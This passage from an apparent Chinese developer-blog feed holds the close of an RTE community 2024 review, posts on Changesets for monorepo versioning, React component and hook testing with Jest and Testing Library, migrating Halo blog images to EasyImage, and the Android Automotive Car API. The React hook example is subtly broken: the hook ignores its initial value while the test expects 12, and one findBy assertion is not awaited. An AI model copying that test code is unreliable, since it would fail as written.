  • 边端算力的分配和协作;

  • 在智能体跨终端的问题和多 agent 的场景需求的定义的细节处理;

  • 实时互动和 AI 的不同 API 在融合的过程中对于传输优先级和体验问题的处理;

  • 最终产品在面临如今极度碎片化的流量如何实现新的增长模式。

这些问题,当下并没有大厂有成熟的最佳实践可供全世界的开发者参考,需要所有的开发者行动起来,并加入到一边探索一边迭代提升的队伍中。生态的一小步,可能对每个开发者个体来说,都是跃迁的一大步。

对创新人群的思考:寻找 AI+RTE Builder

我们发现,将目光更多地转向 AI Builder 人群,能够更好地激发社区的创新活力,挖掘更多潜在的创新应用场景,为实时互动技术的落地提供了更广阔的土壤。

AI Builder 和 RTE Builder 两股人才的交汇,有的人勇敢的跨出一步,出现了很多自主 bootstrap 的小团队甚至是一人团队,探索 AI native 的创新范式。

AI 极大的解放了个体的潜能,也催生了对明星开发者的更高要求。这些事件标志着 RTE 开发者社区和超音速计划在推动实时互动技术发展和创新方面取得了重要进展。

对创新范式和创新行为的思考:为「AI 原生」团队成长提供生态助力

尽管大多数创新创业者认为,融资仍然是企业获取成长资源的重要渠道,但是通过我们对一些先锋的实时互动智能明星项目的观察, 创新成长的范式已经发生了改变。

「AI 原生」产品,其核心不仅在于将人工智能融入产品功能,更在于产品从诞生、发展到最终用户体验的交付,全方位都由 AI 赋能加速。在当前对话式智能和语音助手领域,涌现出大量此类具备「AI 原生」特性的项目。这些项目往往从一开始就采用直接收费模式,并拥有极快的迭代速度。它们通常聚焦于解决单一且明确的需求,借助 AI 代码生成、设计工具等,迅速打造出可用的产品并投入市场验证,通常能在 3 至 6 个月内实现投入产出平衡。

如果项目未能在此期间取得预期进展,团队会迅速进行「转向」(pivot)或重新组合成员。只要用户粘性足够高、「用户口袋」足够深,产品团队便不再执着于一味追求大规模的 MAU/DAU 以期获取下一轮融资和增长,而是倾向于 维持在一个非常良好且稳定的规模 ,持续获得终端「资深粉丝团」的付费和反馈支持。

一个优秀的实时互动智能 Builder,不仅拥有上述所有特质,甚至会同时推进多个处于不同生命周期阶段的项目。

在当下,由于团队规模较小、建制尚不完整且需求明确,创新创业的开发者们纷纷转向生态寻求助力,期望从中获得技术共建的机会、最佳实践的交流平台,以及云服务、大模型、流量等平台的支持。

为了加速产品从创意到市场的过程,我们升级超音速创业营为社区版超音速计划,借助社区网络的力量,快速链接产品所需的资源,为开发者提供更高效的加速支持,助力创新项目快速成长。

对行业协作变化的思考:开放社区 + 开源开放合作

在构建开放社区的基础上,我们积极倡导开源开放合作的理念,致力于打破技术壁垒,促进知识的广泛共享。我们期望以此吸引更多开发者和企业积极投身于实时互动技术的创新浪潮,共同推动行业的繁荣发展。综上所述,我们的核心模式是:开放社区 + 开源开放合作。

RTE 开发者的 2025 年,未来可期

2024 年是 RTE 开发者社区成长的关键一年,我们在技术探索、社区建设、创新孵化等方面取得了显著成绩。我们将继续坚持开放、创新、合作的理念,优化社区生态,提供更多优质资源和服务,助力开发者在实时互动领域创造更多价值。让我们在 2025 年,在社区里,看到开发者彼此的更多可能性,并一一实现。

在三位主理人的带领下,

  • 我们会坚持:与开发者共建多种联结互动的方式,将社区塑造成开发者成长和改变的土壤。

  • 我们会继续精进:希望能找到更多认同社区理念的核心伙伴,参与社区共治,共同发掘实时互动智能项目和人才。

  • 我们会上下求索:在快速迭代的技术环境下,捕捉技术变化的信号,持续探索和发现实时互动的新技术和新场景。

感谢每一位开发者、合作伙伴以及支持者的陪伴与付出,是你们让 RTE 开发者社区充满活力与希望。在新的一年里,期待与大家加入我们,在 Conversational AI 和 Voice Agent 的星辰大海中乘风破浪,书写更多精彩篇章!

加入我们,就像在开篇在温暖冬夜我们得到主理人们的回答那样:

「虽然『卷』,但可以和一群志同道合的朋友一起,找到自己的速度!」

文中引用图表来自《RTE 和 AI 融合生态洞察报告 2024》,关注 RTE 开发者社区,后台回复「实时互动智能报告」可获取完整版。

迎新年,社区专属红包封面免费送!

感谢看到最后!也送出彩蛋:在「RTE 开发者社区」公众号后台留言「RTE2025」,即可获得红包封面领取链接!数量有限,先到先得,预祝大家新春大吉,巳巳如意!

by RTE开发者社区 at January 24, 2025 11:42 AM

juejin freebie

Changesets: 更优秀的monorepo项目包管理工具

Changesets 是一个用于 Monorepo 项目下版本以及 Changelog 文件管理的工具.

非常感谢 # Changesets: 流行的 monorepo 场景发包工具 让我认识到 Changesets, 让我认识到这个库并用于到了我自己的业务工具组件库

先来说下我遇到的问题.

背景

我有一个业务工具组件库,包含基础公共方法库、公共C端组件库、业务方法库、业务组件库A、业务组件库B等。这些库各自都有版本号,并使用 pnpm 的 workspace 进行管理。最初,我通过 standard-version 管理每个库的版本,但这种方式无法关联各个库的版本升级,尽管不甚优雅,但尚可手动按需更新。

项目结构如下:

Core
├─ 📁packages
│  ├─ 📁utils
│  │  ├─ 📄CHANGELOG.md
│  │  └─ 📄package.json
│  ├─ 📁business-utils
│  │  ├─ 📄CHANGELOG.md
│  │  └─ 📄package.json
│  └─ 📁element
│  │  ├─ 📄CHANGELOG.md
│  │  └─ 📄package.json
│  └─ 📁checkstand
│  │  ├─ 📄CHANGELOG.md
│  │  └─ 📄package.json
│  └─ 📁placeorder-utils
│  │  ├─ 📄CHANGELOG.md
│  │  └─ 📄package.json
├─ 📄pnpm-workspace.yaml
————————————————

然而,standard-version 针对单个项目设计,要在多包版本控制时确保一致性需要额外配置和脚本,这使得生成各库的 CHANGELOG 总是混乱不堪,无法清晰看到当前库的更新日志。

我考虑过引入 lerna,但由于 lerna 不支持 workspace 协议,所以并不适合当前项目。

当然我也考虑过引入 lerna, 但是lerna 本身不支持 workspace 协议, 所以跟我当前这个项目不是很匹配.

一条龙脚本

偶然间,我发现了 changesets 这个库,适配度很高且更新频率快,于是进行了试用。它确实表现出色,具体使用可参考官方文档或其他博客。

虽然 changesets 功能强大,但它的操作流程较多且繁琐,特别是预发布版包括初始化、触发版本号更新、执行发布等步骤。所以,我编写了一套脚本来简化这些过程,只需执行一次命令即可完成整个流程,大大降低了学习API和执行成本。以下是脚本的使用说明:

全局安装

  1. 首先全局安装 pnpm 和脚本库 swell-node-core,也可以只在项目根目录安装:
npm i -g pnpm
npm i -g swell-node-core

2. 然后我们在项目的根路径执行 swell-node-core 的命令 snc cp

发布预发布版

snc cp pre

发布正式版

snc cp

我们解读下脚本的执行步骤

  1. 首选执行 snc cp changesets 会根据当前是 workspace整理出想要升级的包提供多选, 我们选择一个 image.png

  2. 接着需要我们选择针对要升级的库选择哪种版本方式, 有三种选项, major, minor, patch, 我们一直回车就相当于跳过 image.png

  3. 如果你应用这个更改集,所有与新版本不兼容的依赖项都会被进行补丁版本的更新。 我们默认即可 image.png

  4. 接着就会基于我刚刚的选项在 .changeset文件夹下生成一个新的md文件, 再基于文件去修改对应库和依赖库的版本号 image.png

  5. 再然后我们直接回车就相当于执行publish操作, 然后就可以看到我们成功publish的几个库了 image.png

以下是两个有关联项目自动生成的 changelog 示例:

image.png

image.png

可以看到,日志之间完全隔离且相互依赖。

总结 (GPT4o总结)

Changesets 是一个非常有用的工具,特别适用于管理多包存储库(monorepos)中的变更日志和版本发布。其主要优点包括:

  1. 自动化变更日志生成:允许开发者在每次提交或合并请求时添加简短的变更描述,自动生成规范化的变更日志。
  2. 细粒度控制:为每个包单独创建变更集,专门记录某个子包的变更,不影响其他包。
  3. 版本更新策略:支持语义化版本控制,根据变更类型自动决定 major、minor 还是 patch 版本,减少人为错误。
  4. 良好的集成:易于与 CI/CD 管道集成,提升发布效率。
  5. 社区和支持:拥有活跃的社区,通过 GitHub issues 和 discussions 获取帮助和反馈。
  6. 高可配置性:提供大量配置选项,适应不同团队或项目需求。
  7. 兼容性强:能够与 npm、yarn、lerna 等流行工具结合使用,优化开发体验。

总之,Changesets 是一个高度实用的工具,尤其适用于大型 monorepo 项目,简化版本管理和发布流程,提升团队协作效率和代码质量。

by Swell5 at January 24, 2025 11:29 AM

juejin frontend

如何给 react 组件写单测

目前前端开发中,基本都是组件化开发。好的组件可以极大地提高代码的复用性。一些功能相对稳定的组件或者hooks,为了保证组件修改维护后的功能正常,这时候就需要单元测试。有了单元测试之后,组件代码修改之后只需要跑一遍单元测试就知道功能是否正常,可以提高效率,减少出错概率。

那么,如何写React的组件或hooks的单测呢?

目前常用的是用jest测试框架和React Testing Library (RTL) 结合来写React的组件、hooks的单测。

jest测试框架的基本使用可以参照笔者的另一篇文章:juejin.cn/post/745746…

下面一起来实践一下

搭建项目

从零开始,新建一个文件夹并执行npm init初始化项目

安装相关依赖

主要安装以下依赖

React 相关依赖

  • react

  • react-dom

npm install react react-dom
  • @types/react
  • @types/react-dom
npm install @types/react @types/react-dom -D

jest和babel相关依赖

  • jest
  • babel-jest
  • @types/jest
  • identity-obj-proxy (方便地模拟 CSS 模块导入)
  • jest-environment-jsdom (jsdom 模拟浏览器环境)
  • @babel/core
  • @babel/preset-env
  • @babel/preset-react
  • @babel/preset-typescript
npm install jest babel-jest @types/jest identity-obj-proxy jest-environment-jsdom @babel/core @babel/preset-env @babel/preset-react @babel/preset-typescript -D

React Testing Library 相关依赖

  • @testing-library/jest-dom
  • @testing-library/react
  • @testing-library/user-event
npm install @testing-library/jest-dom @testing-library/react @testing-library/user-event -D

typescript 依赖

  • typescript
npm install typescript -D

添加相关配置文件

添加babel配置文件

添加babel.config.json

{
  "presets": ["@babel/preset-env", "@babel/preset-react", "@babel/preset-typescript"]
}

添加jest配置文件

添加jest.setup.js

import "@testing-library/jest-dom";

添加jest.config.js

module.exports = {
  testEnvironment: "jsdom", // 使用 jsdom 模拟浏览器环境
  setupFilesAfterEnv: ["<rootDir>/jest.setup.js"], // 配置 Jest 环境
  transform: {
    "^.+\\.[t|j]sx?$": "babel-jest", // 使用 babel-jest 来转换文件
  },
  moduleNameMapper: {
    "\\.(css|less|sass|scss)$": "identity-obj-proxy", // Mock 样式文件
  },
};

组件简单测试

先写一个简单的button组件

import React from "react";

function Button() {
  return <div className="my-button">button</div>;
}

export default Button;

再写对应的单测文件

import React from "react";
import { render, screen } from "@testing-library/react";
import Button from "./index.tsx";
import "@testing-library/jest-dom";

test("renders button", () => {
  render(<Button />);
  const button = screen.getByText(/button/i);
  expect(button).toBeInTheDocument();
});

单测文件的流程大概是

1、通过@testing-library/react库中的render方法渲染<Button />组件

2、通过@testing-library/react库中的screen来查询 dom,查找特定的文本节点

3、然后通过jest断言它在document中

然后在package.json文件中添加

"scripts": {
    "test": "jest"
},

跑下npm run test即可看到对应的结果

image-20250110171743473.png

可以看到,测试是通过的

上面的测试文件也可以写成这样

import React from "react";
import { render } from "@testing-library/react";
import Button from "./index.tsx";
import "@testing-library/jest-dom";

test("renders button", () => {
  const { getByText } = render(<Button />);
  const button = getByText(/button/i);
  expect(button).toBeInTheDocument();
});

或者是这样

import React from "react";
import { render } from "@testing-library/react";
import Button from "./index.tsx";
import "@testing-library/jest-dom";

test("renders button", () => {
  const { container } = render(<Button />);
  const button = container.querySelector(".my-button");
  expect(button).toBeInTheDocument();
  expect(button.textContent).toMatch(/button/i);
});

可见,render函数返回了一个对象,该对象包含一些属性和方法,其中还包含组件挂载的容器dom,它是一个HTMLElement对象,上面有各种我们熟悉的dom方法,例如上面例子的querySelector方法。

查询

上面例子中用了getByText的查询方式,它会搜索有文本节点并且textContent属性和查询参数匹配的元素。

除了这个查询方法外,还有很多其他的查询方法。

查询类型可以分成三种类型:“get”、“find”、“query”,三种类型的查询方式不同

  • getBy...:返回查询的匹配节点,如果没有元素匹配或者找到多个匹配项,则抛出描述性错误(如果需要查找多个元素,需要使用getAllBy...)

    import React from "react";
    import { render, screen } from "@testing-library/react";
    import Button from "./index.tsx";
    import "@testing-library/jest-dom";
    
    test("renders button", () => {
      render(<Button />);
      const table = screen.getByText(/table/i);
      expect(table).not.toBeInTheDocument();
    });
    
    // 会直接报错
    // TestingLibraryElementError: Unable to find an element with the text: /table/i. This could be because the text is broken up by multiple elements. In this case, you can provide a function for your text matcher to make your matcher more flexible.
    
  • findBy...:返回一个 Promise,当找到与给定查询匹配的元素时,该 Promise 将被解析。如果未找到任何元素,或者在默认超时 1000 毫秒后找到多个元素(如果需要查找多个元素,需要使用findAllBy...),则该 Promise 将被拒绝。

    import React from "react";
    import { render, screen } from "@testing-library/react";
    import Button from "./index.tsx";
    import "@testing-library/jest-dom";
    
    test("renders button", () => {
      render(<Button />);
      const button = screen.findByText(/button/i);
      expect(button).resolves.toBeInTheDocument();
    });
    
  • queryBy...:返回查询的匹配节点,如果没有元素匹配则返回null。这对于断言不存在的元素很有用。如果找到多个匹配项,则抛出错误(如果需要查找多个元素,则使用queryAllBy...。)

    import React from "react";
    import { render, screen } from "@testing-library/react";
    import Button from "./index.tsx";
    import "@testing-library/jest-dom";
    
    test("renders button", () => {
      render(<Button />);
      const table = screen.queryByText(/table/i);
      expect(table).toBeNull();
    });
    

除了上面的这种查询包含特定文本内容外,还有很多其他的查询方式,包括查单个和多个

ByText

查询包含特定文本内容的任意元素。

  • getByText
  • findByText
  • queryByText
  • getAllByText
  • findAllByText
  • queryAllByText

ByRole

查询具有给定角色的元素(默认角色会被考虑在内)

  • getByRole
  • findByRole
  • queryByRole
  • getAllByRole
  • queryAllByRole
  • findAllByRole
// 组件
import React from "react";
function Page() {
  return (
    <div>
      <nav role="navigation"></nav>
      <button></button> {/* button有默认button角色 */}
    </div>
  );
}
export default Page;
// test文件
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("byRole", () => {
  render(<Page />);
  const navigation = screen.getByRole("navigation");
  expect(navigation).toBeInTheDocument();
  const button = screen.getByRole("button");
  expect(button).toBeInTheDocument();
});

ByLabelText

查询与给定匹配的"label",主要用于查找与指定标签文本关联的表单控件,例如 <input>, <textarea>, <select> 等。通过 <label> 元素的 for 属性或嵌套关系来查找对应的表单控件。

  • getByLabelText
  • findByLabelText
  • queryByLabelText
  • getAllByLabelText
  • findAllByLabelText
  • queryAllByLabelText
// 组件
import React from "react";

function Page() {
  return (
    <div>
      <label htmlFor="username-input">label-one</label>
      <input id="username-input" />

      <label id="username-label">label-two</label>
      <input aria-labelledby="username-label" />

      <label>
        label-three <input />
      </label>

      <label>
        <span>label-four</span>
        <input />
      </label>

      <input aria-label="label-five" />
    </div>
  );
}
export default Page;
// test文件
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("byLabelText", () => {
  render(<Page />);
  const label1 = screen.getByLabelText("label-one");
  expect(label1).toBeInTheDocument();
  const label2 = screen.getByLabelText("label-two");
  expect(label2).toBeInTheDocument();
  const label3 = screen.getByLabelText("label-three");
  expect(label3).toBeInTheDocument();
  const label4 = screen.getByLabelText("label-four");
  expect(label4).toBeInTheDocument();
  const label5 = screen.getByLabelText("label-five");
  expect(label5).toBeInTheDocument();
});

ByPlaceholderText

查询占位符属性匹配的元素

  • getByPlaceholderText
  • findByPlaceholderText
  • queryByPlaceholderText
  • getAllByPlaceholderText
  • findAllByPlaceholderText
  • queryAllByPlaceholderText
// 组件
import React from "react";

function Page() {
  return (
    <div>
      <input placeholder="name" />
    </div>
  );
}
export default Page;
// test文件
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByPlaceholderText", () => {
  render(<Page />);
  const input = screen.getByPlaceholderText("name");
  expect(input).toBeInTheDocument();
});

ByDisplayValue

查询具有匹配显示值的inputtextareaselect或其他元素。

  • getByDisplayValue
  • findByDisplayValue
  • queryByDisplayValue
  • getAllByDisplayValue
  • findAllByDisplayValue
  • queryAllByDisplayValue
import React, { useEffect } from "react";

function Page() {
  useEffect(() => {
    const myTextArea = document.getElementById(
      "myTextArea"
    ) as HTMLInputElement;
    myTextArea.value = "Hello World";
  }, []);

  return (
    <div>
      <input type="text" defaultValue="jack" />
      <textarea id="myTextArea" />
    </div>
  );
}

export default Page;
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByDisplayValue", () => {
  render(<Page />);
  const input = screen.getByDisplayValue("jack");
  const textArea = screen.queryByDisplayValue("Hello World");
  expect(input).toBeInTheDocument();
  expect(textArea).toBeInTheDocument();
});

如果是select元素的话,会查询和<select>选定的<option>相匹配的

import React from "react";

function Page() {
  return (
    <div>
      <select defaultValue="three">
        <option value="one">One</option>
        <option value="two">Two</option>
        <option value="three">Three</option>
      </select>
    </div>
  );
}

export default Page;
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByDisplayValue", () => {
  render(<Page />);
  const select1 = screen.getByDisplayValue("Three");
  const select2 = screen.queryByDisplayValue("One");
  expect(select1).toBeInTheDocument();
  expect(select2).toBeNull();
});

ByAltText

查询和alt属性相匹配的元素(一般是<img>

  • getByAltText
  • findByAltText
  • queryByAltText
  • getAllByAltText
  • findAllByAltText
  • queryAllByAltText
import React from "react";

function Page() {
  return <img src="../default.png" alt="my-img" />;
}

export default Page;
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByAltText", () => {
  render(<Page />);
  const img = screen.getByAltText("my-img");
  expect(img).toBeInTheDocument();
});

ByTitle

查询和title属性相匹配的元素

  • getByTitle
  • findByTitle
  • queryByTitle
  • getAllByTitle
  • findAllByTitle
  • queryAllByTitle
import React from "react";

function Page() {
  return (
    <div>
      <span title="Open"></span>
      <svg>
        <title>Close</title>
        <g>
          <path />
        </g>
      </svg>
    </div>
  );
}
export default Page;
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByTitle", () => {
  render(<Page />);
  const openElement = screen.getByTitle("Open");
  const closeElement = screen.getByTitle("Close");
  expect(openElement).toBeInTheDocument();
  expect(closeElement).toBeInTheDocument();
});

ByTestId

查询和data-testid匹配的元素,可以当成是“container.querySelector([data-testid="${yourId}"])”的快捷查询方式

  • getByTestId
  • findByTestId
  • queryByTestId
  • getAllByTestId
  • findAllByTestId
  • queryAllByTestId
import React from "react";

function Page() {
  return <div data-testid="my-data-testid" />;
}

export default Page;
import React from "react";
import { render, screen } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("ByTestId", () => {
  render(<Page />);
  const element = screen.getByTestId("my-data-testid");
  expect(element).toBeInTheDocument();
});

用户操作

事件

clickchange这些事件要怎么测试呢,testing-library提供了一个fireEvent方法。

看下下面的例子,一个简单的点击数字递增的组件

import React, { useState } from "react";

function Page() {
  const [num, setNum] = useState(0);
  const add = () => {
    setNum((val) => ++val);
  };
  return (
    <div>
      <p className="num-val">{num}</p>
      <button onClick={add}>add</button>
    </div>
  );
}

export default Page;
import React from "react";
import { render, screen, fireEvent } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("click", () => {
  const { container } = render(<Page />);
  const numVal = container.querySelector(".num-val");
  expect(numVal.textContent).toBe("0");
  const button = screen.getByText("add");
  fireEvent.click(button);
  expect(numVal.textContent).toBe("1");
});

上面的test文件的流程大概如下

1、渲染组件

2、用 container 节点的 dom api 根据classname查询到 显示数字内容的 P 标签

3、断言该标签的文本节点是 0

4、查询拿到 button 标签

5、用fireEvent.click模拟触发 button 的点击事件

6、断言 P 标签的文本节点是 1

运行npm run test后可以发现测试通过了。

fireEvent 可以触发任何元素的任何事件。其用法为fireEvent[eventName] (node: HTMLElement, eventProperties: Object)

eventProperties上有许多属性,比较常用的有target属性,当提供target属性时,这些属性将分配给接收事件的节点。这对于change事件特别有用。

import React from "react";
function Page() {
  return (
    <label>
      date-input
      <input type="date" />
    </label>
  );
}
export default Page;
import React from "react";
import { render, screen, fireEvent } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("change", () => {
  render(<Page />);
  const dateInput = screen.getByLabelText("date-input");
  expect(dateInput.value).toBe("");
  fireEvent.change(dateInput, { target: { value: "2020-05-20" }});
  expect(dateInput.value).toBe("2020-05-20"); 
});

还有dataTransfer属性,用于拖动事件

fireEvent.drop(getByLabelText(/drop files/i), {
  dataTransfer: {
    files: [new File(['xxx'], 'default.png', {type: 'image/png'})],
  },
})

键盘事件相关属性,keyPresskeyDownkeyUp等键盘事件在触发时,需要引用 DOM 中的元素和要触发的键。

fireEvent.keyDown(domNode, {key: 'Enter', code: 'Enter', charCode: 13})
fireEvent.keyDown(domNode, {key: 'A', code: 'KeyA'})

user-event

fireEvent允许开发人员触发任何元素上的任何事件,但是并不是事件的整个完整模拟。例如点击事件,fireEvent.click会创建一个点击事件并在给定的 DOM 节点上调度该事件。但是实际用户点击某个元素时,会触发鼠标移动、聚焦、点击等一系列事件。所以当我们需要在真实环境中测试组件时,我们就需要用到@testing-library/user-event

例如下面的例子,按钮在聚焦时会触发事件从而改变文本内容。

import React, { useState } from "react";

function Page() {
  const [isFocus, setIsFocus] = useState(false);
  function buttonFocus() {
    setIsFocus(true);
  }
  return (
    <div>
      <p className="my-text">{isFocus ? "focus" : "out of focus"}</p>
      <button onFocus={buttonFocus} className="my-button"></button>
    </div>
  );
}

export default Page;

如果我们想要在测试代码中测试点击按钮来触发按钮的聚焦事件,按照下面的测试文件,测试结果会报错。

import React from "react";
import { render, screen, fireEvent } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("event", async () => {
  const { container } = render(<Page />);
  const button = container.querySelector(".my-button");
  fireEvent.click(button);
  const text = container.querySelector(".my-text");
  expect(text.textContent).toBe("focus");
});

:Users:chenkai:Library:Application Support:typora-user-images:image-20250124180342142.png

我们需要借助@testing-library/user-event来模拟真实点击。

import React from "react";
import { render } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";
import userEvent from "@testing-library/user-event";

test("event", async () => {
  const user = userEvent.setup();
  const { container } = render(<Page />);
  const button = container.querySelector(".my-button");
  await user.click(button);
  const text = container.querySelector(".my-text");
  expect(text.textContent).toBe("focus");
});

运行代码,可以发现,测试通过了。

:Users:chenkai:Library:Application Support:typora-user-images:image-20250124180516293.png

异步

waitFor

当需要等待任意一段时间时,可以使用waitFor

例如改动一下上面点击数字递增的例子。

import React, { useState } from "react";

function Page() {
  const [num, setNum] = useState(0);
  const add = () => {
    setTimeout(() => {
      setNum((val) => ++val);
    }, 2000); // 增加定时器
  };
  return (
    <div>
      <p className="num-val">{num}</p>
      <button onClick={add}>add</button>
    </div>
  );
}

export default Page;

修改完成后,如果还是按照之前的测试代码运行则会报错。我们需要在测试代码中增加等待,这时就需要用到waitFor

修改测试代码如下

import React from "react";
import { render, screen, fireEvent, waitFor } from "@testing-library/react";
import Page from "./index.tsx";
import "@testing-library/jest-dom";

test("click", async () => {
  const { container } = render(<Page />);
  const numVal = container.querySelector(".num-val");
  expect(numVal.textContent).toBe("0");
  const button = screen.getByText("add");
  fireEvent.click(button);
  await waitFor(
    () => {
      expect(numVal.textContent).toBe("1");
    },
    { timeout: 3000 }
  );
});

运行后可以发现测试通过了

image-20250124165719427.png

其实前面查询里的findBy...查询是getBy...waitFor的结合,它接收waitFor选项作为最后一个参数,即 await screen.findByText('text', queryOptions, waitForOptions)

hooks测试

hooks测试需要借助renderHookApi

假如有下面一个简单的hooks。

import { useState } from "react";

export default function useAdd(initNum = 0) {
  const [num, setNum] = useState(0);

  const add = () => {
    setNum((num) => ++num);
  };

  return [num, add];
}

这个hooks的单测可以是:

import { renderHook, act } from "@testing-library/react";
import useAdd from "./index.ts";

test("hook test", async () => {
  const hook = renderHook(() => useAdd(11));
  const [num, add] = hook.result.current;
  act(() => {
    add();
  });
  expect(hook.result.current[0]).toBe(12);
  hook.unmount();
});

by kaaaaaaai at January 24, 2025 10:45 AM

juejin career

halo附件图片迁移到easyimage图床

前言

在使用 markdown 编写文章之后,markdown 内容中引用的图片都是图床的地址

部分文章是在 halo 没有使用图床前,就已经发布了的,这些图片都是直接存储在 halo 系统中的

需要将这些文章的图片全部迁移到图床上,这些文章的图片在 halo 的附件中可以查看

图片迁移

图片下载

在 halo 系统中是没有直接下载图片操作的,可以直接登录主机进行下载

图片在 halo 的根目录下的 attachments 目录中,有两部分

upload 为文章中实际上传的原图,thumbnails 是不同尺寸的缩略图

缩略图可以不需要,可以使用 tar 命令将 upload 目录进行打包,然后将打包文件下载到本地

root@ubuntu:~/halo/attachments# tar -zcvf upload.tar.gz ./upload/
./upload/
./upload/image-shks.png
./upload/image-dnel.png
./upload/图片-vlba.png
./upload/image-dezw.png
./upload/图片-cgej.png
./upload/图片-zald.png

...

./upload/图片-vzka.png
./upload/image-lmyg.png
root@ubuntu:~/halo/attachments# 

图片重命名

下载图片之后,部分图片是使用中文 “图片” 直接命名的,需要将 “图片” 名称改为英文 “image”

这是因为在 halo 中发布文章的时候,直接在编辑器中粘贴的图片,halo 系统自行命名的

import os

def rename_files(directory):
    for filename in os.listdir(directory):
        if "图片" in filename:
            new_name = filename.replace("图片", "image")
            old_path = os.path.join(directory, filename)
            new_path = os.path.join(directory, new_name)
            if os.path.exists(new_path):
                print(f"文件名冲突,跳过重命名: {new_path}")
            else:
                os.rename(old_path, new_path)
                print(f"已重命名: {old_path} -> {new_path}")

directory_path = "/path/to/upload/"
rename_files(directory_path)

图片上传

将处理后的图片,上传到 easyimage 系统的图片目录中,可以指定一个日期目录,如 01/20 目录下

修正文章

导出文章

文章不支持统一修改图片迁移,这里使用 vccode 插件将文章导出 markdown,然后在此基础上修改

vscode 插件是 halo 官方发布的,可以参考 基于halo使用vscode插件自动发布文章

在配置好 vscode 的 halo 插件之后,命令行输入 pull 选择 Pull post from Halo 回车

稍等一会,就会出现一个文章的下拉列表,勾选需要导出的文章,然后点击确定下载

修改文章

文章下载到本地之后,就可以在 vscode 中直接对图片地址进行批量替换了

替换完之后,再通过插件将文章重新 post 发布到 halo 系统上去

混乱处理

部分情况下,如有源代码区块的话,通过插件 post 发布的文章可能会出现混乱的情况

可以在本地通过 https://devtool.tech/html-md 工具将文章主体转为纯 markdown 格式

复制转换后的内容,替换旧的格式,然后再 post 发布文章

by QC七哥 at January 24, 2025 10:42 AM

juejin android

Android 车机 Car模式原理

1.简述

车机系统:Android Automotive OS,这是Android操作系统为汽车量身定制的版本‌;基于Android的强大平台和功能集进行开发,利用了现有的安全模型、兼容性程序、开发人员工具和基础架构。它保持了Android的高度可定制性和可移植性,同时完全免费和开源‌。这个系统为汽车特定要求、功能和技术提供了支持,通过在原先的Android系统架构上增加与车相关的模块来实现,这些模块包括Car App(包括OEM和第三方开发的App)、Car API(提供给汽车App特有的接口)、Car Service(系统中与车相关的服务)等‌。

常说的car模式,就是Car api, Car service,Vehicle HAL;源码位置:

  • Car API:packages\services\Car\car-lib
  • Car Service:packages\services\Car\service
  • Vehicle HAL:hardware\interfaces\automotive\vehicle\2.0

备注:本文章内容以android 10 原生代码为基准

下面是Android车机中简易模块图,本文章主要介绍Car API ---Car Service --- Vehicle HAL数据的通讯部分(一般说MCU通讯)

image.png

2 Car API

系统自动编译sdk,编译时引用即可,系统运行时,已经加载了这些类库;每个APP 进程fork时自动拥有了这个执行类库

2.1 Car类

Car sdk入口,主要功能

  • Car服务端连接,提供自动重试机制、连接状态获取与监听、断开连接默认处理机制
  • 获取相关管理类,这个类以CarManagerBase为基类,可感知连接状态,与服务端实现Binder相关联
  • 映射缓存管理类,并根据断连状态进行处理

2.1.1 使用

Car使用一般需要3个流程:

  1. 创建Car对象
  2. 进行连接(连接服务定义如右图)
  3. 连接成功后,获取管理类

Android 10 中,已经不建议调用connect方法进行连接,而是在构造对象实例时自动连接

主要使用方法

//创建实例,并进行监听:
public static Car createCar(Context,Handler, long,CarServiceLifecycleListener)
//服务连接,10已经不推荐使用此方法了
public void connect() throws IllegalStateException
//断开服务
public void disconnect()
//是否连接
public boolean isConnected()
//是否正在连接
public boolean isConnecting()
//获取管理类
public Object getCarManager(String serviceName)

连接服务信息如下:

image.png

2.1.2 类图

image.png

使用基类CarManagerBase对所有的管理类进行了统一规格处理

  • Car服务断开连接通知
  • MCU数据事件处理Handler
  • 异常处理

2.1.3 断开连接

public void onServiceDisconnected(ComponentName name) {
    synchronized (mLock) {
        if (mConnectionState  == STATE_DISCONNECTED) {
            // can happen when client calls disconnect before onServiceDisconnected call.
            return;
        }
        handleCarDisconnectLocked();
    }
    if (mStatusChangeCallback != null) {
        mStatusChangeCallback.onLifecycleChanged(Car.this, false);
    } else if (mServiceConnectionListenerClient != null) {
        mServiceConnectionListenerClient.onServiceDisconnected(name);
    } else {
        // This client does not handle car service restart, so should be terminated.
        finishClient();
    }
}
  • 数据复位
  • 缓存清理
  • 服务封装的管理类销毁
  • 回调,如无回调则默认处理

默认处理规则:若Context上下文为Activity,finish Activity,否则杀死进程

2.2 CarPropertyManager类

Android车机系统中用于设置和获取车辆各个属性状态的重要类。作为CarPropertyService在客户端的代理,通过其提供的API,开发者可以实现对车辆属性的读写操作。这些属性包括但不限于车窗升降、空调控制、油量、续航等‌。在实际开发中,当开发者想要控制这些车辆功能时,就需要与其进行交互。

2.2.1 使用

//实例获取
(CarPropertyManager) mCar. getCarManager(Car.PROPERTY_SERVICE)

//属性获取
public boolean getXXXProperty(int prop, int area), XXXBooleanFloatIntIntArray
// 属性设置
public <E> void setProperty(@NonNull Class<E> clazz, int propId, int areaId, @NonNull E val)
public void setXXXProperty(int prop, int areaId,XXX val), XXXBoolean,Float,Int

//属性监听操作:
public boolean registerCallback(CarPropertyEventCallback callback, int propertyId,float rate)

//属性解除监听
public void unregisterCallback(@NonNull CarPropertyEventCallback callback)
public void unregisterCallback(@NonNull CarPropertyEventCallback callback, int propertyId)

// 属性是否可用
public boolean isPropertyAvailable(int propId, int area)

// 属性读写权限
